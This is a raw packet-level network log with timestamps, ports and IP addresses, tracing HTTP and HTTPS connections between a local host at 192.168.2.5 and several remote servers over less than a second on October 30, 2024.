Oct 30, 2024 23:11:49.886579037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.886595011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.886635065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.886667013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.902896881 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902920961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902936935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902951956 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902967930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902971983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.902993917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.902996063 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.903011084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.903023005 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.903048038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.903687954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.903731108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.903747082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.903774023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.903824091 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.903850079 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.903850079 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.927844048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.927860975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.927891970 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.927905083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.934742928 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.936726093 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.936742067 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.937489986 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.937494040 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.969284058 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.969780922 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.969820976 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.970294952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.970309973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.970356941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.970439911 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.970447063 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.978957891 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.979649067 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.979672909 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.980115891 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.980123043 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.004527092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004545927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004568100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004585028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.004604101 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.004658937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004736900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004760027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.004795074 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.004808903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.013408899 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.013478041 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.013529062 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.013664007 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.013679028 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.013686895 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.013693094 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.016273975 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.016311884 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.016403913 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.016560078 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.016572952 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.020812035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.020848036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.020864010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.020865917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.020895958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.020931005 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021074057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021109104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021117926 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021126986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021143913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021163940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021204948 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021301031 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021878958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021927118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021933079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021956921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021970987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.021971941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.021994114 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.022011042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.076536894 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.077128887 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.077191114 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.077244997 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.077255011 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.077263117 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.077269077 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.079709053 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.079736948 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.079910040 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.080054998 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.080068111 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.088414907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.088464022 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.088465929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.088484049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.088509083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.088526964 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.104904890 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.104950905 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.105026007 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.105036974 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.105321884 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.105331898 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.105341911 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.105492115 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.105537891 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.105608940 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.108407974 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.108472109 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.108515024 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.108819962 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.108844042 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.108859062 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.108867884 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.110153913 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.110285997 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.110341072 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.110609055 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.110620022 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.110701084 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.110706091 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.112726927 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.112757921 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.112821102 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.112941980 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.112957001 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.113255978 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.113272905 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.113353968 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.113514900 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.113528013 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.121649981 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.121670961 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.121777058 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.121911049 CET	49999	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.121926069 CET	443	49999	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.122615099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.122654915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.122673035 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.122672081 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.122704983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.122723103 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.122756958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.122922897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.122977972 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.123208046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.123224974 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.123249054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.123250961 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.123265982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.123269081 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.123300076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.123317003 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.138973951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139009953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139024973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139029026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139079094 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139241934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139266968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139281988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139339924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139339924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139724970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139763117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139774084 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139786959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139832973 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.139867067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.139904976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.140520096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.140564919 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.206715107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.206739902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.206753969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.206775904 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.206794024 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.240715981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.240732908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.240806103 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.240979910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.240994930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241029978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241058111 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241066933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241137981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241296053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241311073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241339922 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241348982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241359949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241367102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241472006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.241488934 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.241517067 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257360935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257385015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257402897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257462978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257564068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257581949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257608891 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257637024 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257656097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257721901 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257900953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257951021 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.257966995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.257985115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.258034945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.258121014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.258168936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.258740902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.258791924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.258898973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.258946896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.295624018 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.295687914 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.295744896 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.295744896 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.295778036 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.295808077 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.296217918 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.296233892 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.296242952 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.296562910 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.296648026 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.296715021 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.324707985 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.324934959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.325078964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.325130939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362196922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362215042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362231970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362247944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362279892 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362303972 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362308979 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.362361908 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.362364054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362385035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362401009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362416029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362426996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362432003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.362464905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362463951 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.362490892 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.362652063 CET	50000	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:50.362670898 CET	443	50000	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:50.375858068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375874996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375894070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375916004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375916004 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.375933886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375947952 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.375951052 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.375977993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.375978947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.376013994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.376040936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.376552105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.376586914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.376602888 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.376609087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.376633883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.376648903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.376682043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.376763105 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.377188921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.377213955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.377228975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.377278090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.399334908 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.399584055 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.399594069 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.400578976 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.400640011 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.400955915 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.401015043 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.401119947 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.401128054 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.417728901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.417762041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.417788029 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.417826891 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.436230898 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.436726093 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.436738968 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.437243938 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.437248945 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.450628996 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.477114916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477227926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477241993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477293968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477298975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.477334023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.477493048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477523088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477538109 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477570057 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.477602959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.477883101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.477932930 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.477998972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.478044987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.478148937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.478162050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.478198051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.478209972 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.493885040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.493982077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494010925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494025946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494050026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494050980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494067907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494081020 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494085073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494096994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494102955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494118929 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494133949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494141102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494905949 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494956970 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.494962931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.494976044 CET	80	49980	185.215.113.206	192.168.2.5
